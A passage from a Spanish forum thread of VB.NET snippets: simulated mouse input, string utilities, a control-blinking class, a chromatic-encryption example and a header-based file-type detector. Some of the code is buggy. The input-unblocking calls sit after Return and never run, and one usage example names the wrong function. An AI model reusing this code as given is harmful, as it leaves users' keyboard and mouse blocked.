  751.    ''' <returns>
  752.    ''' The function returns the number of events that it successfully inserted into the mouse input stream.
  753.    ''' If the function returns zero, the input was already blocked by another thread.
  754.    ''' </returns>
  755.    Public Shared Function MouseMove(ByVal X As Integer, ByVal Y As Integer,
  756.                                     Optional BlockInput As Boolean = False) As Integer
  757.  
  758.        Return MouseMove(New Point(X, Y), BlockInput)
  759.  
  760.    End Function
  761.  
  762.    ''' <summary>
  763.    ''' Moves the mouse hotspot to an absolute position, in coordinates.
  764.    ''' </summary>
  765.    ''' <param name="Position">
  766.    ''' Indicates the absolute position.
  767.    ''' </param>
  768.    ''' <param name="BlockInput">
  769.    ''' If set to <c>true</c>, the keyboard and mouse are blocked until the mouse movement is sent.
  770.    ''' </param>
  771.    ''' <returns>
  772.    ''' The function returns the number of events that it successfully inserted into the mouse input stream.
  773.    ''' If the function returns zero, the input was already blocked by another thread.
  774.    ''' </returns>
  775.    Public Shared Function MousePosition(ByVal Position As Point,
  776.                                         Optional BlockInput As Boolean = False) As Integer
  777.  
  778.        ' Block Keyboard and mouse.
  779.        If BlockInput Then NativeMethods.BlockInput(True)
  780.  
  781.        ' The inputs structures to send.
  782.        Dim Inputs As New List(Of NativeMethods.Input)
  783.  
  784.        ' The current input to add into the Inputs list.
  785.        Dim CurrentInput As New NativeMethods.Input
  786.  
  787.        ' Transform the coordinates.
  788.        Position.X = CInt(Position.X * 65535 / (Screen.PrimaryScreen.Bounds.Width - 1))
  789.        Position.Y = CInt(Position.Y * 65535 / (Screen.PrimaryScreen.Bounds.Height - 1))
  790.  
  791.        ' Add an absolute mouse movement.
  792.        With CurrentInput
  793.            .type = NativeMethods.InputType.Mouse
  794.            .mi.dx = Position.X
  795.            .mi.dy = Position.Y
  796.            .mi.dwFlags = NativeMethods.MouseInput_Flags.Absolute Or NativeMethods.MouseInput_Flags.Move
  797.            .mi.time = 0
  798.        End With : Inputs.Add(CurrentInput)
  799.  
  800.        ' Send the absolute mouse movement.
  801.        Return NativeMethods.SendInput(Inputs.Count, Inputs.ToArray,
  802.                                       Marshal.SizeOf(GetType(NativeMethods.Input)))
  803.  
  804.        ' Unblock Keyboard and mouse.
  805.        If BlockInput Then NativeMethods.BlockInput(False)
  806.  
  807.    End Function
  808.  
  809.    ''' <summary>
  810.    ''' Moves the mouse hotspot to an absolute position, in coordinates.
  811.    ''' </summary>
  812.    ''' <param name="X">
  813.    ''' Indicates the absolute 'X' coordinate.
  814.    ''' </param>
  815.    ''' <param name="Y">
  816.    ''' Indicates the absolute 'Y' coordinate.
  817.    ''' </param>
  818.    ''' <param name="BlockInput">
  819.    ''' If set to <c>true</c>, the keyboard and mouse are blocked until the mouse movement is sent.
  820.    ''' </param>
  821.    ''' <returns>
  822.    ''' The function returns the number of events that it successfully inserted into the mouse input stream.
  823.    ''' If the function returns zero, the input was already blocked by another thread.
  824.    ''' </returns>
  825.    Public Shared Function MousePosition(ByVal X As Integer, ByVal Y As Integer,
  826.                                         Optional BlockInput As Boolean = False) As Integer
  827.  
  828.        Return MousePosition(New Point(X, Y), BlockInput)
  829.  
  830.    End Function
  831.  
  832.    ''' <summary>
  833.    ''' Simulates a mouse click.
  834.    ''' </summary>
  835.    ''' <param name="MouseAction">
  836.    ''' Indicates the mouse action to perform.
  837.    ''' </param>
  838.    ''' <param name="BlockInput">
  839.    ''' If set to <c>true</c>, the keyboard and mouse are blocked until the mouse movement is sent.
  840.    ''' </param>
  841.    ''' <returns>
  842.    ''' The function returns the number of events that it successfully inserted into the mouse input stream.
  843.    ''' If the function returns zero, the input was already blocked by another thread.
  844.    ''' </returns>
  845.    Public Shared Function MouseClick(ByVal MouseAction As MouseButton,
  846.                                      Optional BlockInput As Boolean = False) As Integer
  847.  
  848.        ' Block Keyboard and mouse.
  849.        If BlockInput Then NativeMethods.BlockInput(True)
  850.  
  851.        ' The inputs structures to send.
  852.        Dim Inputs As New List(Of NativeMethods.Input)
  853.  
  854.        ' The current input to add into the Inputs list.
  855.        Dim CurrentInput As New NativeMethods.Input
  856.  
  857.        ' The mouse actions to perform.
  858.        Dim MouseActions As New List(Of MouseButton)
  859.  
  860.        Select Case MouseAction
  861.  
  862.            Case MouseButton.LeftPress ' Left button, hold and release.
  863.                MouseActions.Add(MouseButton.LeftDown)
  864.                MouseActions.Add(MouseButton.LeftUp)
  865.  
  866.            Case MouseButton.RightPress ' Right button, hold and release.
  867.                MouseActions.Add(MouseButton.RightDown)
  868.                MouseActions.Add(MouseButton.RightUp)
  869.  
  870.            Case MouseButton.MiddlePress ' Middle button, hold and release.
  871.                MouseActions.Add(MouseButton.MiddleDown)
  872.                MouseActions.Add(MouseButton.MiddleUp)
  873.  
  874.            Case Else ' Other
  875.                MouseActions.Add(MouseAction)
  876.  
  877.        End Select ' MouseAction
  878.  
  879.        For Each Action As MouseButton In MouseActions
  880.  
  881.            ' Add the mouse click.
  882.            With CurrentInput
  883.                .type = NativeMethods.InputType.Mouse
  884.                '.mi.dx = Offset.X
  885.                '.mi.dy = Offset.Y
  886.                .mi.dwFlags = Action
  887.            End With : Inputs.Add(CurrentInput)
  888.  
  889.        Next Action
  890.  
  891.        ' Send the mouse click.
  892.        Return NativeMethods.SendInput(Inputs.Count, Inputs.ToArray,
  893.                                       Marshal.SizeOf(GetType(NativeMethods.Input)))
  894.  
  895.        ' Unblock Keyboard and mouse.
  896.        If BlockInput Then NativeMethods.BlockInput(False)
  897.  
  898.    End Function
  899.  
  900. #End Region
  901.  
  902. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 24 Febrero 2014, 10:41 am
String Is Numeric Of DataType?

La típica función para comprobar si un String es numérico, reinventada para cumplir dos tareas en una, comprueba si un string es un valor numérico de un tipo específico.

Código
  1.    ' String Is Numeric Of Type?
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(StringIsNumeric(Of Long)("50.1")) ' Result: False (it's a Double).
  6.    ' MsgBox(StringIsNumeric(Of Integer)("9999999999")) ' Result: False (it's a Long).
  7.    ' MsgBox(StringIsNumeric(Of Integer)(CStr(Integer.MaxValue))) ' Result: True.
  8.    '
  9.    ''' <summary>
  10.    ''' Determines whether an String is a valid numeric value of the specified type.
  11.    ''' </summary>
  12.    ''' <typeparam name="T">Indicates the numeric DataType</typeparam>
  13.    ''' <param name="Value">Indicates the string value.</param>
  14.    ''' <returns>
  15.    ''' <c>true</c> if string is a valid numeric value of the specified type, <c>false</c> otherwise.
  16.    ''' </returns>
  17.    ''' <exception cref="Exception"></exception>
  18.    Private Function StringIsNumeric(Of T)(ByVal Value As String) As Boolean
  19.  
  20.        Const MethodName As String = "TryParse"
  21.        Dim DataType As Type = GetType(T)
  22.        Dim Result As Object = Nothing
  23.  
  24.        Dim Method As System.Reflection.MethodInfo =
  25.        DataType.GetMethod(MethodName,
  26.                           System.Reflection.BindingFlags.Public Or System.Reflection.BindingFlags.Static,
  27.                           Type.DefaultBinder,
  28.                           New Type() {GetType(String), DataType.MakeByRefType()},
  29.                           New System.Reflection.ParameterModifier() {Nothing})
  30.  
  31.        If Method IsNot Nothing Then
  32.            Return Method.Invoke(Nothing,
  33.                                 System.Reflection.BindingFlags.Public Or System.Reflection.BindingFlags.Static,
  34.                                 Type.DefaultBinder,
  35.                                 New Object() {Value, Result},
  36.                                 System.Globalization.CultureInfo.InvariantCulture)
  37.  
  38.        Else
  39.            Throw New Exception(String.Format("Static method '{0}' not found in '{1}' Type.",
  40.                                              MethodName, DataType.Name))
  41.            Return False
  42.  
  43.        End If
  44.  
  45.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 25 Febrero 2014, 16:32 pm
Código
  1.    ' String Is Alphabetic?
  2.    ' ( By Elektro )
  3.    '
  4.    ''' <summary>
  5.    ''' Determines whether a String is alphabetic.
  6.    ''' </summary>
  7.    ''' <param name="str">Indicates the string.</param>
  8.    ''' <returns><c>true</c> if string only contains alphabetic characters, <c>false</c> otherwise.</returns>
  9.    Private Function StringIsAlphabetic(ByVal str As String) As Boolean
  10.  
  11.        Return Not Convert.ToBoolean((From c As Char In str Where Not "abcdefghijklmnopqrstuvwxyz".Contains(c)).Count)
  12.  
  13.    End Function



Código
  1.   ' Get Biggest Letter Of String
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples
  5.    ' MsgBox(GetBiggestLetter("qwerty012345"))
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the biggest letter in a String.
  9.    ''' </summary>
  10.    ''' <param name="str">Indicates the string.</param>
  11.    ''' <returns>System.Char.</returns>
  12.    Private Function GetBiggestLetter(ByVal str As String) As Char
  13.  
  14.        Return (From c As Char In str.ToLower
  15.                Where "abcdefghijklmnopqrstuvwxyz".Contains(c)
  16.                Order By c Descending).FirstOrDefault
  17.  
  18.    End Function

Código
  1.    ' Get Lowest Letter Of String
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples
  5.    ' MsgBox(GetLowestLetter("qwerty012345"))
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the lowest letter in a String.
  9.    ''' </summary>
  10.    ''' <param name="str">Indicates the string.</param>
  11.    ''' <returns>System.Char.</returns>
  12.    Private Function GetLowestLetter(ByVal str As String) As Char
  13.  
  14.        Return (From c As Char In str.ToLower
  15.                Where "abcdefghijklmnopqrstuvwxyz".Contains(c)
  16.                Order By c Ascending).FirstOrDefault
  17.  
  18.    End Function

Código
  1.    ' Get Biggest Number Of String
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples
  5.    ' MsgBox(GetBiggestNumber("qwerty012345"))
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the biggest number in a String.
  9.    ''' </summary>
  10.    ''' <param name="str">Indicates the string.</param>
  11.    ''' <returns>System.Int32.</returns>
  12.    Private Function GetBiggestNumber(ByVal str As String) As Integer
  13.  
  14.        Return Convert.ToInt32((From c As Char In str
  15.                                Where Integer.TryParse(c, New Integer)
  16.                                Order By c Descending).FirstOrDefault, 10)
  17.  
  18.    End Function

Código
  1.    ' Get Lowest Number Of String
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples
  5.    ' MsgBox(GetLowestNumber("qwerty012345"))
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the lowest number in a String.
  9.    ''' </summary>
  10.    ''' <param name="str">Indicates the string.</param>
  11.    ''' <returns>System.Int32.</returns>
  12.    Private Function GetLowestNumber(ByVal str As String) As Integer
  13.  
  14.        Return Convert.ToInt32((From c As Char In str
  15.                                Where Integer.TryParse(c, New Integer)
  16.                                Order By c Ascending).FirstOrDefault, 10)
  17.  
  18.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 25 Febrero 2014, 17:02 pm
Una mini-Class para Blinkear un control (efecto de parpadeo), o el texto de un control:

QmY-EJxhDjs

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 02-25-2014
  4. ' ***********************************************************************
  5. ' <copyright file="Blinker.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Friend WithEvents LabelBlinker As Blinker
  13.  
  14. 'Private Shadows Sub Shown(sender As Object, e As EventArgs) Handles MyBase.Shown
  15.  
  16. '    LabelBlinker = New Blinker(Textbox1)
  17.  
  18. '    LabelBlinker.Blink(Interval:=500)
  19. '    LabelBlinker.BlinkText(Interval:=500, CustomText:="Custom Text!")
  20.  
  21. '    LabelBlinker.Unblink(Visible:=True)
  22. '    LabelBlinker.UnblinkText(RestoreText:=False)
  23.  
  24. 'End Sub
  25.  
  26. #End Region
  27.  
  28. ''' <summary>
  29. ''' Blinks a Control.
  30. ''' </summary>
  31. Friend NotInheritable Class Blinker
  32.  
  33. #Region " Objects "
  34.  
  35.    ''' <summary>
  36.    ''' The control to blink.
  37.    ''' </summary>
  38.    Private ctrl As Control = Nothing
  39.  
  40.    ''' <summary>
  41.    ''' A Timer to blink a control.
  42.    ''' </summary>
  43.    Private WithEvents BlinkTimer As New Timer
  44.  
  45.    ''' <summary>
  46.    ''' A Timer to blink the text of a control.
  47.    ''' </summary>
  48.    Private WithEvents BlinkTextTimer As New Timer
  49.  
  50.    ''' <summary>
  51.    ''' A custom text to restore after blinking the control.
  52.    ''' </summary>
  53.    Private TextToRestore As String = String.Empty
  54.  
  55. #End Region
  56.  
  57. #Region " Constructors "
  58.  
  59.    ''' <summary>
  60.    ''' Initializes a new instance of the <see cref="Blinker" /> class.
  61.    ''' </summary>
  62.    ''' <param name="ctrl">Indicates the control to blink.</param>
  63.    Public Sub New(ByVal ctrl As Control)
  64.  
  65.        ' Assign the control to blink.
  66.        Me.ctrl = ctrl
  67.  
  68.    End Sub
  69.  
  70. #End Region
  71.  
  72. #Region " Public Methods "
  73.  
  74.    ''' <summary>
  75.    ''' Blinks the Control.
  76.    ''' </summary>
  77.    ''' <param name="Interval">Indicates the blink interval, in ms.</param>
  78.    Public Sub Blink(Optional ByVal Interval As Integer = 500)
  79.  
  80.        With BlinkTimer
  81.            .Interval = Interval
  82.            .Enabled = True
  83.        End With
  84.  
  85.    End Sub
  86.  
  87.    ''' <summary>
  88.    ''' Stop blinking the Control.
  89.    ''' </summary>
  90.    ''' <param name="Visible">Indicates the visibility of the control.</param>
  91.    Public Sub Unblink(Optional ByVal Visible As Boolean = True)
  92.  
  93.        With BlinkTimer
  94.            .Enabled = False
  95.        End With
  96.  
  97.        ctrl.Visible = Visible
  98.  
  99.    End Sub
  100.  
  101.    ''' <summary>
  102.    ''' Blinks the text content of the Control.
  103.    ''' </summary>
  104.    ''' <param name="Interval">Indicates the blink interval.</param>
  105.    ''' <param name="CustomText">Indicates a custom text to blink.</param>
  106.    Public Sub BlinkText(Optional ByVal Interval As Integer = 500,
  107.                         Optional ByVal CustomText As String = Nothing)
  108.  
  109.        With BlinkTextTimer
  110.            .Tag = If(String.IsNullOrEmpty(CustomText), Me.ctrl.Text, CustomText)
  111.            .Interval = Interval
  112.            .Enabled = True
  113.        End With
  114.  
  115.    End Sub
  116.  
  117.    ''' <summary>
  118.    ''' Stop blinking the text content of the Control.
  119.    ''' </summary>
  120.    ''' <param name="RestoreText">If set to <c>true</c>, the control text is resetted to the initial state before started blinking.</param>
  121.    Public Sub UnblinkText(Optional ByVal RestoreText As Boolean = False)
  122.  
  123.        With BlinkTextTimer
  124.            .Enabled = False
  125.        End With
  126.  
  127.        If RestoreText Then
  128.            Me.ctrl.Text = TextToRestore
  129.        End If
  130.  
  131.    End Sub
  132.  
  133. #End Region
  134.  
  135. #Region " Event Handlers"
  136.  
  137.    ''' <summary>
  138.    ''' Handles the Tick event of the BlinkTimer control.
  139.    ''' </summary>
  140.    ''' <param name="sender">The source of the event.</param>
  141.    ''' <param name="e">The <see cref="EventArgs" /> instance containing the event data.</param>
  142.    Private Sub BlinkTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles BlinkTimer.Tick
  143.  
  144.        Me.ctrl.Visible = Not Me.ctrl.Visible
  145.  
  146.    End Sub
  147.  
  148.    ''' <summary>
  149.    ''' Handles the Tick event of the BlinkTextTimer control.
  150.    ''' </summary>
  151.    ''' <param name="sender">The source of the event.</param>
  152.    ''' <param name="e">The <see cref="EventArgs" /> instance containing the event data.</param>
  153.    Private Sub BlinkTextTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles BlinkTextTimer.Tick
  154.  
  155.        If String.IsNullOrEmpty(Me.ctrl.Text) Then
  156.            Me.ctrl.Text = CStr(sender.tag)
  157.  
  158.        Else
  159.            Me.ctrl.Text = String.Empty
  160.  
  161.        End If
  162.  
  163.    End Sub
  164.  
  165. #End Region
  166.  
  167. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 4 Marzo 2014, 18:19 pm
Este snippet sirve para rotar la posición de las palabras que contiene un String.

Código
  1.    ' Rotate String
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(RotateString("a b c d e f", RotationDirectorion.Left, 2)) ' Result "c d e f a b"
  6.    ' MsgBox(RotateString("Hello_World_!", RotationDirectorion.Right, 1, "_"c)) ' Result: "!_Hello_World"
  7.  
  8.    ''' <summary>
  9.    ''' Indicates the rotation direction of an String.
  10.    ''' </summary>
  11.    Public Enum RotationDirectorion
  12.  
  13.        ''' <summary>
  14.        ''' Rotates to the left.
  15.        ''' </summary>
  16.        Left
  17.  
  18.        ''' <summary>
  19.        ''' Rotates to the right.
  20.        ''' </summary>
  21.        Right
  22.  
  23.    End Enum
  24.  
  25.    ''' <summary>
  26.    ''' Rotates the words in a String.
  27.    ''' </summary>
  28.    ''' <param name="String">Indicates the string to rotate.</param>
  29.    ''' <param name="Direction">Indicates the rotation direction.</param>
  30.    ''' <param name="Rotation">Indicates the rotation count.</param>
  31.    ''' <param name="Delimiter">
  32.    ''' Indicates the delimiter that is used to split the words of the string.
  33.    ''' Default is 'Space' character.
  34.    ''' </param>
  35.    ''' <returns>System.String.</returns>
  36.    ''' <exception cref="Exception">Rotation count is out of range.</exception>
  37.    Private Function RotateString(ByVal [String] As String,
  38.                                  ByVal Direction As RotationDirectorion,
  39.                                  ByVal Rotation As Integer,
  40.                                  Optional ByVal Delimiter As Char = " "c
  41.                                  ) As String
  42.  
  43.        Dim Parts As String() = [String].Split(Delimiter)
  44.  
  45.        If String.IsNullOrEmpty([String]) OrElse Not [String].Contains(CStr(Delimiter)) Then
  46.            Throw New Exception(String.Format("Delimiter '{0}' not found in the String.", CStr(Delimiter)))
  47.        End If
  48.  
  49.        If Rotation = 0 OrElse Rotation >= Parts.Length Then
  50.            Throw New Exception("Rotation count is out of range.")
  51.        End If
  52.  
  53.        Select Case Direction
  54.  
  55.            Case RotationDirectorion.Left
  56.                Return String.Format("{0}{1}",
  57.                                     String.Join(Delimiter,
  58.                                                 From s As String In Parts Skip Rotation) & CStr(Delimiter),
  59.                                     String.Join(Delimiter,
  60.                                                 From s As String In Parts Take Rotation))
  61.  
  62.            Case RotationDirectorion.Right
  63.                Return String.Format("{0}{1}",
  64.                                     String.Join(Delimiter,
  65.                                                 From s As String In Parts Skip (Parts.Length - Rotation)) & CStr(Delimiter),
  66.                                     String.Join(Delimiter,
  67.                                                 From s As String In Parts Take (Parts.Length - Rotation)))
  68.  
  69.            Case Else
  70.                Return String.Empty
  71.  
  72.        End Select ' Direction
  73.  
  74.    End Function
  75.  



Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 5 Marzo 2014, 18:43 pm
Una Class para utilizar el cifrado cromático de texto, es decir, esto:

(http://img35.imageshack.us/img35/6203/fweh.png)


Aquí pueden descargar la Class (no soy el autor de este laborioso código, solo lo adapté un poco añadiéndole algún método más, y elaboré un poco mejor la documentación):
http://pastebin.com/92JEWwxV

El source original: https://github.com/varocarbas/snippets_chromaticEncryption_VB

Ejemplo de uso:
Código
  1. Public Class Form1
  2.  
  3.    ''' <summary>
  4.    ''' Instance of a Class containing most of the methods involving image-related actions,
  5.    ''' common to both encryption and decryption.
  6.    ''' </summary>
  7.    Dim curentIO As New IO
  8.  
  9.    Private Sub Test() Handles MyBase.Load
  10.  
  11.  
  12.        ' Encrypt text into image:
  13.        Dim Encrypt As New Encrypting(Color.Red, "Hello World!", curentIO, 0)
  14.        Dim EncryptedImage As Bitmap = Nothing
  15.  
  16.        Select Case Encrypt.errors
  17.  
  18.            Case False
  19.                ' Encrypts the text and returns the encrypted Bitmap.
  20.                EncryptedImage = curentIO.Encrypt(500, 500, Encrypt)
  21.  
  22.                ' Or encrypts the text and save it directlly in a image file.
  23.                Encrypt = curentIO.SaveImageFile("C:\File.png", 500, 500, Encrypt)
  24.  
  25.            Case True
  26.                MessageBox.Show(Encrypt.errorMessage, "There was an error while encrypting the text.")
  27.  
  28.        End Select
  29.  
  30.  
  31.        ' Decrypt image into text:
  32.        Dim Decrypt As New Decrypting(Color.Red, EncryptedImage, curentIO, 0)
  33.        ' Dim Decrypt As New Decrypting(Color.Red, Bitmap.FromFile("C:\File.png"), curentIO, 0)
  34.  
  35.        If Not Decrypt.errors Then
  36.            MsgBox(Decrypt.decryptedString)
  37.        Else
  38.            MessageBox.Show(Decrypt.errorMessage, "Either the input parameters or the image are wrong.")
  39.        End If
  40.  
  41.  
  42.    End Sub
  43.  
  44. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 5 Marzo 2014, 18:46 pm
Convierte los caracteres diacríticos de un String.

Código
  1.    ' Convert Diacritics
  2.    '
  3.    ' Usage Examples:
  4.    ' MsgBox(RemoveDiacritics("áéíóú àèìòù äëïöü ñÑ çÇ", UnicodeNormalization:=System.Text.NormalizationForm.FormKD))
  5.    ' Result: 'aeiou aeiou aeiou nN cC'
  6.    '
  7.    ''' <summary>
  8.    ''' Converts the diacritic characters in a String to an equivalent normalized English characters.
  9.    ''' </summary>
  10.    ''' <param name="String">
  11.    ''' Indicates the string that contains diacritic characters.
  12.    ''' </param>
  13.    ''' <param name="UnicodeNormalization">
  14.    ''' Defines the type of Unicode character normalization to perform.
  15.    ''' (Default is 'NormalizationForm.FormKD')
  16.    ''' </param>
  17.    ''' <returns>System.String.</returns>
  18.    Public Function ConvertDiacritics(ByVal [String] As String,
  19.                                      Optional ByVal UnicodeNormalization As System.Text.NormalizationForm =
  20.                                                                             System.Text.NormalizationForm.FormKD) As String
  21.  
  22.        Dim Characters As String = String.Empty
  23.  
  24.        For Each c As Char In [String].Normalize(UnicodeNormalization)
  25.  
  26.            Select Case Globalization.CharUnicodeInfo.GetUnicodeCategory(c)
  27.  
  28.                Case Globalization.UnicodeCategory.NonSpacingMark,
  29.                     Globalization.UnicodeCategory.SpacingCombiningMark,
  30.                     Globalization.UnicodeCategory.EnclosingMark
  31.  
  32.                    ' Do nothing.
  33.                    Exit Select
  34.  
  35.                Case Else
  36.                    Characters &= CStr(c)
  37.  
  38.            End Select
  39.  
  40.        Next c
  41.  
  42.        Return Characters
  43.  
  44.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 6 Marzo 2014, 16:56 pm
FileType Detective

Comprueba el tipo de un archivo específico examinando su cabecera.

(Tipo 'MediaInfo')

Código
  1. ' ***********************************************************************
  2. ' Author   : Original: http://filetypedetective.codeplex.com/
  3. '            Source translated, revised and extended by Elektro.
  4. '
  5. ' Modified : 03-06-2014
  6. ' ***********************************************************************
  7. ' <copyright file="FileTypeDetective.vb" company="Elektro Studios">
  8. '     Copyright (c) Elektro Studios. All rights reserved.
  9. ' </copyright>
  10. ' ***********************************************************************
  11.  
  12. #Region " Info "
  13.  
  14. ' file headers are taken from here:
  15. 'http://www.garykessler.net/library/file_sigs.html
  16.  
  17. ' mime types are taken from here:
  18. ' http://www.webmaster-toolkit.com/mime-types.shtml
  19.  
  20. #End Region
  21.  
  22. #Region " Usage Examples "
  23.  
  24. 'Imports FileTypeDetective
  25.  
  26. 'Public Class Form1
  27.  
  28. '    Private Sub Test() Handles MyBase.Load
  29.  
  30. '        MessageBox.Show(Detective.isType("C:\File.reg", FileType.REG)) ' NOTE: The regfile should be Unicode, not ANSI.
  31. '        MessageBox.Show(Detective.GetFileType("C:\File.reg").mime)
  32.  
  33. '    End Sub
  34.  
  35. 'End Class
  36.  
  37. #End Region
  38.  
  39. #Region " Imports "
  40.  
  41. Imports System.IO
  42. Imports FileTypeDetective.FileType
  43.  
  44. #End Region
  45.  
  46. #Region " FileType Detective "
  47.  
  48. ''' <summary>
  49. ''' Little data structure to hold information about file types.
  50. ''' Holds information about binary header at the start of the file
  51. ''' </summary>
  52. Public Class FileType
  53.  
  54.    ' MS Office files
  55.    Public Shared ReadOnly WORD As New FileType(
  56.        New Nullable(Of Byte)() {&HEC, &HA5, &HC1, &H0}, 512I, "doc", "application/msword")
  57.  
  58.    Public Shared ReadOnly EXCEL As New FileType(
  59.        New Nullable(Of Byte)() {&H9, &H8, &H10, &H0, &H0, &H6, &H5, &H0}, 512I, "xls", "application/excel")
  60.  
  61.    Public Shared ReadOnly PPT As New FileType(
  62.        New Nullable(Of Byte)() {&HFD, &HFF, &HFF, &HFF, Nothing, &H0, &H0, &H0}, 512I, "ppt", "application/mspowerpoint")
  63.  
  64.    ' common documents
  65.    Public Shared ReadOnly RTF As New FileType(
  66.        New Nullable(Of Byte)() {&H7B, &H5C, &H72, &H74, &H66, &H31}, "rtf", "application/rtf")
  67.  
  68.    Public Shared ReadOnly PDF As New FileType(
  69.        New Nullable(Of Byte)() {&H25, &H50, &H44, &H46}, "pdf", "application/pdf")
  70.  
  71.    Public Shared ReadOnly REG As New FileType(
  72.        New Nullable(Of Byte)() {&HFF, &HFE}, "reg", "text/plain")
  73.  
  74.    ' grafics
  75.    Public Shared ReadOnly JPEG As New FileType(
  76.        New Nullable(Of Byte)() {&HFF, &HD8, &HFF}, "jpg", "image/jpeg")
  77.  
  78.    Public Shared ReadOnly PNG As New FileType(
  79.        New Nullable(Of Byte)() {&H89, &H50, &H4E, &H47, &HD, &HA, &H1A, &HA}, "png", "image/png")
  80.  
  81.    Public Shared ReadOnly GIF As New FileType(
  82.        New Nullable(Of Byte)() {&H47, &H49, &H46, &H38, Nothing, &H61}, "gif", "image/gif")
  83.  
  84.    ' Compressed
  85.    Public Shared ReadOnly ZIP As New FileType(
  86.        New Nullable(Of Byte)() {&H50, &H4B, &H3, &H4}, "zip", "application/x-compressed")
  87.  
  88.    Public Shared ReadOnly RAR As New FileType(
  89.        New Nullable(Of Byte)() {&H52, &H61, &H72, &H21}, "rar", "application/x-compressed")
  90.  
  91.    ' all the file types to be put into one list
  92.    Friend Shared ReadOnly types As New List(Of FileType)() From { _
  93.        PDF,
  94.        WORD,
  95.        EXCEL,
  96.        JPEG,
  97.        ZIP,
  98.        RAR,
  99.        RTF,
  100.        PNG,
  101.        PPT,
  102.        GIF,
  103.        REG
  104.    }
  105.  
  106.    ' number of bytes we read from a file
  107.    Friend Const MaxHeaderSize As Integer = 560
  108.    ' some file formats have headers offset to 512 bytes
  109.  
  110.    ' most of the times we only need first 8 bytes, but sometimes extend for 16
  111.    Private m_header As Nullable(Of Byte)()
  112.    Public Property header() As Nullable(Of Byte)()
  113.        Get
  114.            Return m_header
  115.        End Get
  116.        Private Set(value As Nullable(Of Byte)())
  117.            m_header = value
  118.        End Set
  119.    End Property
  120.  
  121.    Private m_headerOffset As Integer
  122.    Public Property headerOffset() As Integer
  123.        Get
  124.            Return m_headerOffset
  125.        End Get
  126.        Private Set(value As Integer)
  127.            m_headerOffset = value
  128.        End Set
  129.    End Property
  130.  
  131.    Private m_extension As String
  132.    Public Property extension() As String
  133.        Get
  134.            Return m_extension
  135.        End Get
  136.        Private Set(value As String)
  137.            m_extension = value
  138.        End Set
  139.    End Property
  140.  
  141.    Private m_mime As String
  142.    Public Property mime() As String
  143.        Get
  144.            Return m_mime
  145.        End Get
  146.        Private Set(value As String)
  147.            m_mime = value
  148.        End Set
  149.    End Property
  150.  
  151. #Region " Constructors "
  152.  
  153.    ''' <summary>
  154.    ''' Initializes a new instance of the <see cref="FileType"/> class.
  155.    ''' Default construction with the header offset being set to zero by default
  156.    ''' </summary>
  157.    ''' <param name="header">Byte array with header.</param>
  158.    ''' <param name="extension">String with extension.</param>
  159.    ''' <param name="mime">The description of MIME.</param>
  160.    Public Sub New(header As Nullable(Of Byte)(), extension As String, mime As String)
  161.        Me.header = header
  162.        Me.extension = extension
  163.        Me.mime = mime
  164.        Me.headerOffset = 0
  165.    End Sub
  166.  
  167.    ''' <summary>
  168.    ''' Initializes a new instance of the <see cref="FileType"/> struct.
  169.    ''' Takes the details of offset for the header
  170.    ''' </summary>
  171.    ''' <param name="header">Byte array with header.</param>
  172.    ''' <param name="offset">The header offset - how far into the file we need to read the header</param>
  173.    ''' <param name="extension">String with extension.</param>
  174.    ''' <param name="mime">The description of MIME.</param>
  175.    Public Sub New(header As Nullable(Of Byte)(), offset As Integer, extension As String, mime As String)
  176.        Me.header = Nothing
  177.        Me.header = header
  178.        Me.headerOffset = offset
  179.        Me.extension = extension
  180.        Me.mime = mime
  181.    End Sub
  182.  
  183. #End Region
  184.  
  185.    Public Overrides Function Equals(other As Object) As Boolean
  186.  
  187.        If Not MyBase.Equals(other) Then
  188.            Return False
  189.        End If
  190.  
  191.        If Not (TypeOf other Is FileType) Then
  192.            Return False
  193.        End If
  194.  
  195.        Dim otherType As FileType = DirectCast(other, FileType)
  196.  
  197.        If Not Me.header Is otherType.header Then
  198.            Return False
  199.        End If
  200.  
  201.        If Me.headerOffset <> otherType.headerOffset Then
  202.            Return False
  203.        End If
  204.  
  205.        If Me.extension <> otherType.extension Then
  206.            Return False
  207.        End If
  208.  
  209.        If Me.mime <> otherType.mime Then
  210.            Return False
  211.        End If
  212.  
  213.        Return True
  214.  
  215.    End Function
  216.  
  217.    Public Overrides Function ToString() As String
  218.        Return extension
  219.    End Function
  220.  
  221. End Class
  222.  
  223. ''' <summary>
  224. ''' Helper class to identify file type by the file header, not file extension.
  225. ''' </summary>
  226. Public NotInheritable Class FileTypeDetective
  227.  
  228.    ''' <summary>
  229.    ''' Prevents a default instance of the <see cref="FileTypeDetective"/> class from being created.
  230.    ''' </summary>
  231.    Private Sub New()
  232.    End Sub
  233.  
  234. #Region "Main Methods"
  235.  
  236.    ''' <summary>
  237.    ''' Gets the list of FileTypes based on list of extensions in Comma-Separated-Values string
  238.    ''' </summary>
  239.    ''' <param name="CSV">The CSV String with extensions</param>
  240.    ''' <returns>List of FileTypes</returns>
